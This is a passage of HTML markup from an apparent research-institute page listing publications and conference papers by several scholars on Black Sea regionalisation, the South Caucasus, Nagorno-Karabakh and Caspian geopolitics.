margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:28.35pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">Complex Regionalisation in the Wider Black Sea Area&nbsp;(2012), PhD thesis. University of Leicester. <a href=\"https://lra.le.ac.uk/handle/2381/27769\">Read online</a></p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:28.35pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘Democratisation of the BSEC Parliamentary Assembly and the Implications for Conflict-Resolution in the wider Black Sea area’ (December 2011), Policy Brief&nbsp;01, published by the Centre for International and European Studies (CIES), Kadir Has University, Istanbul (ISBN 978-975-8919-67-3). (Co-authored with Carol Weaver.)</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:28.35pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘Complex Regionalisation in the Wider Black Sea Area’ (2010), in&nbsp;The Black Sea Region and EU Policy: The Challenge of Divergent Agendas, edited by Henderson, K. and Weaver, C., Ashgate Publishing Limited, Surrey, pp 119-34 (ISBN 9781409412014). (This contribution was peer-reviewed.)</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:27.0pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘Complex Regionalisation in the Wider Black Sea Area’, oral presentation at the Faculty of Administrative Sciences and Economics, organised by The Center for Research on Globalization and Democratic Governance (GLODEM), Koç University, 9 May 2013</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:27.0pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘EU-Russia relationship: Reflections on the regionalisation in the wider Black Sea area’, presented at the international conference titled ‘Russia and the EU: the future of Europe and Eurasia’ organised by The University Association for Contemporary Studies (UACES) EU-Russia Collaborative Research Network at the Russian Academy of Science Institute of Europe, Moscow, 15-16 April 2013</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:27.0pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘Europeanisation of the Black Sea regionalisation’, a paper presented at the international conference on Security, Democracy and Development in the Southern Caucasus and the Black Sea Region, Kadir Has University, Istanbul, 13 October 2012</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:27.0pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘New Regionalism in Europe’s Black Sea Region: Measuring and comparing intra- and cross-regional patterns of trade regionalisation’, a paper (co-authored with Florent Marciacq) presented at the 41st Annual Conference of the University Association for Contemporary European Studies, 7 September 2011, Cambridge</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:27.0pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘Security Imperative and New Regionalism in the EU’s Eastern European Neighbourhood’, a Jean Monnet presentation at the Department of Politics and International Relations, Leicester University, 12 January 2011</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘A case of regionalisation in the wider Black Sea area: political mechanisms and economic convergence’ a paper presented at the&nbsp;Fifth Pan-European Conference on EU Politics,&nbsp;organised by the European Consortium for Political Research (ECPR), Standing Group on the European Union, hosted by the University Fernando Pessoa and Faculty of Economics of Porto University (Porto, Portugal), 26 June 2010</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘Regionalisation around the Black Sea’, a paper presented at the&nbsp;PhD Symposium on Modern and Contemporary South East Europe, organised by LSEE (Research on South Eastern Europe), European Institute, LSE, 18 June 2010</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">\'EU Policies and Black Sea Economic Cooperation\', oral presentation at the conference&nbsp;A Clash of Agendas: EU Policy in the Black Sea Region&nbsp;convened by the Department of Politics and International Relations of Leicester University, 8 May 2009</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">“The Black Sea Region: the EU’s final external border or an internal challenge?”. a poster selected for presentation at the Leicester University’s&nbsp;Festival of Postgraduate Research, 25 June 2009 (This was the only selected presentation to represent the Department of Politics and International Relations at the event)</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">\'The EU and its Eastern Partners in the Wider Black Sea Region: Counterweights or Counterpoints?\', oral presentation at the annual conference of the British Association for Slavonic and East European Studies (BASEES), Fitzwilliam College, Cambridge, 29 Mar 2009</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘The EU\'s Black Sea Dimension in the context of the Wider European Architecture’, a paper presented at the&nbsp;7th Biennial Conference on ‘The Maturing European Union’&nbsp;organised by the European Community Studies Association - Canada (ECSA-C), Edmonton, 26 September 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong>Kanan Allahverdiyev</strong></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">Материалы V Международного форума стран-партнеров в области подготовки и переподготовки кадров для государственной и муниципальной службы /Кыргызстан, Бишкек, 17-18 декабря 2010 г./ Вестник Академии управления при Президенте Кыргызской республики, 2011, № 12, с. 218 -223</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">Нагорно-Карабахский конфликт и глобальная геополитика.&nbsp;Вестник Академии управления при Президенте Казахстанской Республики, 2012, № 1</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">The Caucasian pentagram: a curse or a lucky chance?&nbsp;The Caucasus &amp; Globalization, Journal of Social, Political and Economic Studies,Vol.7, Issue 3-4, 2013, Sweden, CA&amp;CC Press, pp.7 -26</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">Человек, общество, природа в эпоху глобальных трансформаций: безопасность и развитие. Семнадцатые Вавиловские чтения: материалы постоянно действующей международной междисциплинарной научной конференции:в 2 ч./под общ.ред. проф. В.П. Шалаева. – Йошкар-Ола: Поволжский государственный технологический университет, 2014. Часть I, с.8-10</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">The national idea and national ideology in the sustainability of ethnocultural identity. Central Asia and the Caucasus, Journal of Social and Political Studies, Vol.16, Issue 3-4, 2015, Sweden, CA&amp;CC Press, pp. 32-41</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">«Большой Кавказ» в геополитике ХХI века.&nbsp;Социальное время. // Научный журнал. 2015, № 3. Йошкар-Ола: Поволжский государственный технологический университет, с. 109-118</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">Nature of phenomenon of ethno-confessionality: ethnic or religious?&nbsp;The International Journal of Human Resources Management. Vol 27, Isssue 18, 2016, pp. 128 – 133 // Indexed by Sosial Science Citation – Thomson&amp;Reuters. Impact Factor: 1.042&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\">\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong>Elseva</strong><strong>r Mammadov</strong><strong></strong></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">Memorandum of Understanding between Gazprom and Socar: No Shah deniz qaz for Nabucco? Conference presentation, Black Sea Energy Conference, Romania, 2010</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">The Budapest summit of Nabucco: Opportunities and Challenges,&nbsp;Conference Speech, Gustav Stresemann Institut Bonn, XXI European Summer Academie, 2010</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:8.0pt;margin-left:22.5pt;text-indent:-.25in;line-height:106%\"=\"\">Nord- und Südkaukasus in der europäischen Nachbarschaft: Trianguläre funktionale Kooperation und Wettbewerb in einer heterogenen Region. Russland, EU und Kaukasus Integration, Volume 38 (2015), Issue 1, P. 92-97</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:8.0pt;margin-left:22.5pt;text-indent:-.25in;line-height:106%\"=\"\">Conference speech: “EU in Azerbaijan: Cooperation in the context of strategic instruments”, July 3-4, 2014, Schader-Forum, Darmstadt, Germany. <a href=\"http://www.schader-stiftung.de/\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:8.0pt;margin-left:22.5pt;text-indent:-.25in;line-height:106%\"=\"\">Russia-hosted Nagorno-Karabakh Talks: Background Motives, Caucasus Analytical Digest (CAD), 2011. <a href=\"http://www.css.ethz.ch/publications/CAD_EN\">Read online</a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\">\r\n<p style=\"text-align:justify\"><strong>Elmar Mustafayev</strong></p><p style=\"text-align:justify\"><strong>Book Chapter</strong></p><p style=\"text-align:justify\">Mustafayev, E., Alessandrini, B., &amp; Pane, N. (2016). Le guerre del Caucaso meridionale. In G. Natalizia, Il Caucaso Meridionale: Processi politici e attori di un’area stretegica (pp. 91-128), Rome, Italy, Aracne editrice. Doi: 10.4399/97888548892176. <a href=\"http://www.aracneeditrice.it/aracneweb/index.php/pubblicazione.html?item=9788854889217&amp;tab=indice\">Read online</a><br></p><p style=\"text-align:justify\"><strong>Articles</strong></p>\r\n<p style=\"text-align:justify\">Mustafayev, E. (2016). Le guerre del Caucaso meridionale [Wars in the South Caucasus]. Natalizia, G. (Ed.). Il Caucaso Meridionale: Prosesi politici e attori di un’area strategica. [The South Caucasus: political processes and actors of the strategic area]. Aracne. Rome. pp. 113-161</p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">Mustafayev, E. “Can Moscow reconcile two hostile nations of the Caucasus?” Centro studi de geopolitica e relazioni internazionali. Rome. 25 May, 2016. <a href=\"http://www.geopolitica.info/hostile-nations-of-the-caucasus/\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in;line-height:normal\"=\"\">Mustafayev, E. “The Russo-Turkish Crisis and the risk of war”. Centro studi de geopolitica e relazioni internazionali. Rome. 27 February, 2016. <a href=\"http://www.geopolitica.info/russo-turkish-crisis/\">Read online</a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong>Rashad Huseynov</strong></p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Azerbaijan-Turkey-Israel: issue of strategic partnership, monograph, Baku, Elm, 2007</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Azerbaijan-Turkey-Israel: Cooperation in security and fight against international terrorism, «Dirçəliş»,&nbsp; № 104-105, 2006</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Турция-Израиль: по пути укрепления военного сотрудничества, “Elmi Axtarışlar”, № 25, 2006</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Торгово–экономические связи Азербайджана и Израиля: современное состояние и перспективы“, Elmi Axtarışlar”, № 23, 2006</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Транскаспийский газопровод – новые возможности для стратегического партнерства Азербайджан-Турция-Израиль. “Şərq-Qərb: sivilizasiyaların dialoqu” № 3-4, 2006</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong>Rashad Aghazada</strong></p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong>Book</strong></p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Agazade, Rashad (2007). International relations and public relations, Baku, Azerbaijan</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong></strong><strong>Articles</strong></p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><span style=\"text-align:justify\"></span><span style=\"text-align:justify\">“Mədəniyyətlərarası dialoq və diaspora fəaliyyəti ictimai diplomatiya vasitəsi kimi”,/“Dövlət İdarəçiliyi: nəzəriyyə və təcrübə”, Bakı, 2015</span></p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">“Azərbaycan Respublikasının xarici siyasətində mədəniyyət diplomatiyası”, /“Sivilizasiya”, Bakı, 2015</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">“Searching for a new foreign policy strategy for Azerbaijan – Public Diplomacy efforts”,/“European Scientific Journal”, Eurasian Multidisciplinary Forum Publication, Tbilisi, Georgia/2013</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Политический Паблик Рилейшнз: взгляды, перспективы, материалы научного конфранса, /Тбилиси/2012</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">“Azərbaycan xalq diplomatiyasının Dağlıq Qarabağ münaqişəsinin həllində imkanları”,/Scientific Conference materials, Baku/2012</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">“Azərbaycanın xarici siyasətində ictimai diplomatiya elementləri”,/“Strateji təhlil” jurnalı, Baku,/2011</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">“Beynəlxalq ictimai əlaqələr ictimai diplomatiya vasitəsi kimi”/“Dirçəliş” periodical, Baku/2011</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">“Heydər Əliyev və Azərbaycan diplomatiyası”/Scientific conference materials, Baku /2010</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">“Azərbaycan xarici siyasətində ictimaiyyətlə əlaqələr: ictimai diplomatiya”/Scientific conference materials, Baku/2009</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">“Pablik Rileyşnz və ya ictimaiyyətlə əlaqələr strateji idarəçilik fəaliyyətidir”/“Qanun” scientific journal, Baku/2008</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">“Demokratik dövlətdə ictimaiyyətlə əlaqələr”, “Dövlət idarəçiliyi və ictimaiyyətlə əlaqələr” “Xalq qəzeti”, “525-ci qəzet” periodicals, Baku/2002-2004</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">“Beynəlxalq münasibətlər və Public Relations”, “Qanun” editorial house, Baku, 2007</p>  <p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong>Vasif Huseynov</strong></p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Huseynov, V., 2018: “Revisiting the Ukraine Crisis: Realist Reflections on Causes and Consequences”, CES Working Papers (CESWP), Centre for European Studies, Alexandru Ioan Cuza University of Iasi.&nbsp;</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Huseynov, V., 2017: “Russia’s Shrinking Sphere of Influence: Steady Decline of a Great Power and its Implications for the International Security,” University of Oxford, available at: http://www.sant.ox.ac.uk/sites/default/files/universityconsortium/files/vasif_huseynov_russias_shrinking_ sphere_of_influence.pdf (accessed: 17 July 2017).&nbsp;</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Huseynov, V., 2016: “Soft Power Geopolitics: How Does the Diminishing Utility of Military Power Affect the West - Russia Confrontation over the ‘Common Neighbourhood,’” Eastern Journal of European Studies, Vol. 7, No. 2, pp. 71-90.&nbsp;</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Huseynov, V., 2015: “Post-Soviet Georgia’s Foreign Policy: Strategic Idealism and the Russian Challenge,” Caucasus International, Vol. 5, No. 3, pp. 117-131.</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong>Gunay Bayramova</strong></p><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Review of ‘Negotiating Armenian-Azerbaijani Peace: Opportunities, Obstacles, Prospects’ by Ohannes Geukjian, published in Political Studies Review, Volume 14, Issue 4, November 2016</p><p style=\"text-align:justify\">The Warsaw Euro-Atlantic Summer Academy (WEASA), organized by the College of Europe, the German Marshall Fund of the United States (GMF), and the Polish American Freedom Foundation, Warsaw, Poland, June 29 – July 10, 2015</p><p style=\"text-align:justify\">Review of ‘Regional Co-operation in the South Caucasus: Good Neighbours or Distant Relatives?’ by Tracey German was published in Political Studies Review, Volume 12, Issue 2, May 2014</p>  <p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:6.8pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong>Azad Garibli</strong><strong></strong></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;line-height:150%\"=\"\">Garibov&nbsp;A. and Frappi, C. (eds) (2014) Caspian&nbsp;Sea&nbsp;Chessboard:&nbsp;Geo-political,&nbsp;Geostrategic&nbsp;and&nbsp;Geo-economic&nbsp;Analysis,&nbsp;Egea Publications,&nbsp;Milan,&nbsp;242 pages, ISBN 978-88-238-4434-6</p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-top:5.0pt;margin-right:9.75pt;margin-bottom:5.0pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Garibov&nbsp;A. (2014) ‘Militarizationof Caspian&nbsp;Sea:Naval&nbsp;Build-Upand&nbsp;Conflicting&nbsp;Interests’</p><p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-top:5.0pt;margin-right:9.75pt;margin-bottom:5.0pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Garibov&nbsp;A.&nbsp;and Frappi, Carlo (eds) CaspianSeaChessboard:Geo-political,Geostrategic&nbsp;and&nbsp;Geo-economic&nbsp;Analysis,&nbsp;Egea Publications,&nbsp;Milan, pp.41-59</p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-top:5.0pt;margin-right:9.75pt;margin-bottom:5.0pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Garibov&nbsp;A. (2014) ‘Caspian Naval Build-up: Militarization and Arms Race’, in Valigi, M.&nbsp; (ed) Caspian Security Issues: Conflicts, Cooperation and Energy Supplies (Social Sciences), Edizioni Epoke, Rome, pp. 85-100</p>\r\n<p class=\"gmail-msolistparagraphCxSpMiddle\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Garibov&nbsp;A. (2014) ‘Deterrence and Terrorism: Can Terrorism Be Deterred?’, Kazakhstan International Processes, Almaty, No: 4 (42), pp. 96-105, (in Russian). <a href=\"http://iwep.kz/files/attachments/article/2015-01-23/imep-4-2014.pdf\">Read online</a></p>\r\n<p class=\"gmail-msolistparagraphCxSpMiddle\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Garibov&nbsp;A. (2013) ‘Central Asia-Afghanistan Security Nexus: Post-2014 Perspectives’Caucasus International, Istanbul,Volume 3, No: 3,pp.61-70</p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Garibov, A. (2013) ‘The US Post-9/11 Nuclear Strategy and Its Security Implications for Russia’, Geopolitica Magazine, Bucharest, Issue XI, No: 51 (2), pp. 100-107</p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Garibov, A. (2013) ‘ The Caspian &nbsp;Corridor: &nbsp;Geopolitics &nbsp;of &nbsp;Transportation in the Region’, &nbsp;Kazakhstan &nbsp;in &nbsp;International &nbsp;Processes, Almaty, No: 3(37),pp.118-136 (in Russian). <a href=\"http://iwep.kz/files/attachments/article/2013-11-30/3-2013.pdf\">Read online</a></p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Garibov, A. (2012) ‘The Main Determinants of the US NATO Enlargement Policy and implications for the US-Russia relations’, Journal of Law and Politology, Kishinyov, Issue 2, pp. 49-54</p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Armenia and Azerbaijan Flex Military Muscles While Nagorno-Karabakh Peace Negotiations Stall, Eurasia Daily Monitor, Volume: 13 Issue: 190, December 5, 2016. <a href=\"https://jamestown.org/program/armenia-azerbaijan-flex-military-muscles-nagorno-karabakh-peace-negotiations-stall/#sthash.NEo9mCGt.XgjzA6kC.dpuf\">Read online</a></p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Armenia’s dangerous posturing sabotages Nagorno-Karabakh peace efforts, EuroActiv, 15 November 15, 2016. <a href=\"https://www.euractiv.com/section/europe-s-east/opinion/armenias-dangerous-posturing-sabotages-nagorno-karabakh-peace-efforts/\">Read online</a></p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Why the OSCE Keeps Failing to Make Peace in Nagorno-Karabakh, The National Interest, 11 May 2016. <a href=\"http://nationalinterest.org/blog/the-buzz/why-the-osce-keeps-failing-make-peace-nagorno-karabakh-16161?page=2\">Read online</a></p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">The New Eurasian Drone Wars, The National Interest, 12 May 2016.<a href=\"http://nationalinterest.org/blog/the-buzz/the-new-eurasian-drone-wars-16176\"> Read online&nbsp;</a></p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Development of Transport Sector in Azerbaijan, Eurasia Daily Monitor, Volume: 13, Issue: 75, April 18, 2016. <a href=\"http://www.jamestown.org/single/?tx_ttnews%5Btt_news%5D=45332&amp;tx_ttnews%5BbackPid%5D=7&amp;cHash=2d5e7ca6a662279ad23eeacdc0f0145d#.VxXoEvmLTIW\">Read online</a></p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Conclusions to be drawn from the four-day fight in Nagorno-Karabakh for the peace process, The Journal of Turkish Weekly, 09 April 2016. <a href=\"http://www.turkishweekly.net/2016/04/09/op-ed/conclusions-to-be-drawn-from-the-four-day-fight-in-nagorno-karabakh-for-the-peace-process/\">Read online</a></p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">India in Central Asia: Time for a more comprehensive strategy?, The Journal of Turkish Weekly, 12 June 2013. <a href=\"http://www.turkishweekly.net/op-ed/3099/india-in-central-asia-time-for-a-more-comprehensive-strategy.html\">Read online</a></p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">The U.S. in Central Asia: Still an important balancer?, The Journal of Turkish Weekly, 28 May 2013. <a href=\"http://www.turkishweekly.net/news/150929/the-u-s-in-central-asia-still-an-important-balancer.html\">Read online</a></p>\r\n<p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">China and Central Asia: A new game changer or an inevitable dominant?, The Journal of Turkish Weekly, 26 April 2013. <a href=\"http://www.turkishweekly.net/news/149550/china-and-central-asia-a-new-game-changer-or-an-inevitable-dominant.html\">Read online</a></p><p class=\"gmail-msolistparagraph\" style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">Russia and Central Asia: Do all Central Asian roads still lead to Russian?, The Journal of Turkish Weekly, 13 April 2013. <a href=\"http://www.turkishweekly.net/news/149055/russia-and-central-asia-do-all-central-asian-roads-still-lead-to-russia.html\">Read online</a>&nbsp;</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;line-height:150%\"=\"\">An ‘Undeclared Cold War’ in Central Asia?, World Affairs Journal, 5 June 2012. <a href=\"http://worldaffairsjournal.org/content/opinion-dam-debate-fuels-uzbekistan-tajikistan-%E2%80%98undeclared-cold-war%E2%80%99\">Read online</a></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:0in;text-align:justify;line-height:150%\"=\"\"><strong>Cavid Valiyev</strong></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">From Alliance to Integration: The Turkey-Azerbaijan-Georgia Triangle, “Jamestown”, 11 March, 2014. <a href=\"http://www.jamestown.org/single/?tx_ttnews%5Btt_news%5D=42079&amp;tx_ttnews%5BbackPid%5D=390&amp;cHash=0aadc80f1a3eeac8381edd201c8476b7#.U0KU3PmSyWk\">Read online</a></p>\r\n<p style=\"text-align: justify;\" 